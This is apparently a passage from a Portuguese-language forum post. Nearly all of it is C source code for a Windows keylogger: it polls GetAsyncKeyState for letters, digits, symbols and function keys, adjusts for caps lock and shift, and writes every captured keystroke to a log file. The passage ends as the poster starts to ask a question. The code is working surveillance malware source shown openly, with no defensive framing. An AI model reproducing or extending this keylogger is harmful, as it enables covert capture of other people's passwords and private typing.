fprintf(fp,"~"); // escreve no arquivo if(GetAsyncKeyState(220)==-32767) // conchetes pra la ( <- ) fprintf(fp,"]"); // escreve no arquivo if(GetAsyncKeyState(221)==-32767) // conchetes pra ca ( -> ) fprintf(fp,"["); // escreve no arquivo if(GetAsyncKeyState(27)==-32767) // tecla ESC fprintf(fp,"[ESC]"); // escreve no arquivo if(GetAsyncKeyState(112)==-32767) // tecla F1 fprintf(fp,"[F1]"); // escreve no arquivo if(GetAsyncKeyState(113)==-32767) // tecla F2 fprintf(fp,"[F2]"); // escreve no arquivo if(GetAsyncKeyState(114)==-32767)// tecla F3 fprintf(fp,"[F3]"); // escreve no arquivo if(GetAsyncKeyState(115)==-32767) // tecla F4 fprintf(fp,"[F4]"); // escreve no arquivo if(GetAsyncKeyState(116)==-32767) // tecla F5 fprintf(fp,"[F5]"); // escreve no arquivo if(GetAsyncKeyState(117)==-32767)// tecla f6 fprintf(fp,"[F6]"); // escreve no arquivo if(GetAsyncKeyState(118)==-32767)// tecla F7 fprintf(fp,"[F7]"); // escreve no arquivo if(GetAsyncKeyState(119)==-32767)// tecla f8 fprintf(fp,"[F8]"); // escreve no arquivo if(GetAsyncKeyState(120)==-32767) // tecla F9 fprintf(fp,"[F9]"); // escreve no arquivo if(GetAsyncKeyState(121)==-32767) // tecla F10 fprintf(fp,"[F10]"); // escreve no arquivo if(GetAsyncKeyState(122)==-32767)// tecla F11 fprintf(fp,"[F11]"); // escreve no arquivo if(GetAsyncKeyState(123)==-32767)// tecla F12 fprintf(fp,"[F12]"); // escreve no arquivo if(GetAsyncKeyState(46)==-32767) // tecla [delete] fprintf(fp,"[delete]"); // escreve no arquivo if(GetAsyncKeyState(35)==-32767)// tecla [END] fprintf(fp,"[end]"); // escreve no arquivo }}; void ativar_shift() // funcao logar shift{ extern int caps; // variavel caps, externa (global) for(int x=48;x<=57;x++) // loop for, 48 - 57 { if(GetAsyncKeyState(x)==-32767) // pega a tecla pressionada se for numeros( simbolos ) { switch(x) // loop switch para x { case 48: fprintf(fp,")"); break; case 49: fprintf(fp,"!"); break; case 50: fprintf(fp,"@"); break; case 51: fprintf(fp,"#"); break; case 52: fprintf(fp,"$"); break; case 53: fprintf(fp,"%%"); break; case 54: fprintf(fp,"?"); break; case 55: fprintf(fp,"&"); break; case 56: fprintf(fp,"*"); break; case 57: fprintf(fp,"("); break; } } } if(GetAsyncKeyState(191)==-32767) // tecla : fprintf(fp,":"); // escreve no arquivo if(GetAsyncKeyState(188)==-32767) // tecla < fprintf(fp,"<"); // escreve no arquivo if(GetAsyncKeyState(190)==-32767)// tecla > fprintf(fp,">"); // escreve no arquivo if(GetAsyncKeyState(193)==-32767) // tecla ? fprintf(fp,"?"); // escreve no arquivo if(GetAsyncKeyState(192)==-32767)// tecla " fprintf(fp,"\""); // escreve no arquivo if(GetAsyncKeyState(219)==-32767)// tecla ` fprintf(fp,"`"); // escreve no arquivo if(GetAsyncKeyState(222)==-32767)// tecla ^ fprintf(fp,"^"); // escreve no arquivo if(GetAsyncKeyState(220)==-32767)// tecla } fprintf(fp,"}"); // escreve no arquivo if(GetAsyncKeyState(221)==-32767)// tecla { fprintf(fp,"{"); // escreve no arquivo caps = GetKeyState(0x14); // pega estado de CAPS-LOCK switch(caps)// verifica se caps est? ligado { case 0: // caso DESLIGAdo ativar_maiusculas(); // loga MAIUSCULA break; case 1: // caso LIGADO ativar_minusculas();// loga MINUSCULA break; } };void ativar_minusculas() // logar minusculas{ for(int x=65;x<=90;x++) // loop de 65 - 90 { if(GetAsyncKeyState(x)==-32767) // verifica tecla { fprintf(fp,"%c",x+32); // escreve no arquivo } }};void ativar_maiusculas()// logar maiusculas{ for(int x=65;x<=90;x++) // loop de 65 - 90 { if(GetAsyncKeyState(x)==-32767)// verifica tecla { fprintf(fp,"%c",x); // escreve no arquivo } }};vou aproveitar tambem pra tirar uma duvida minha...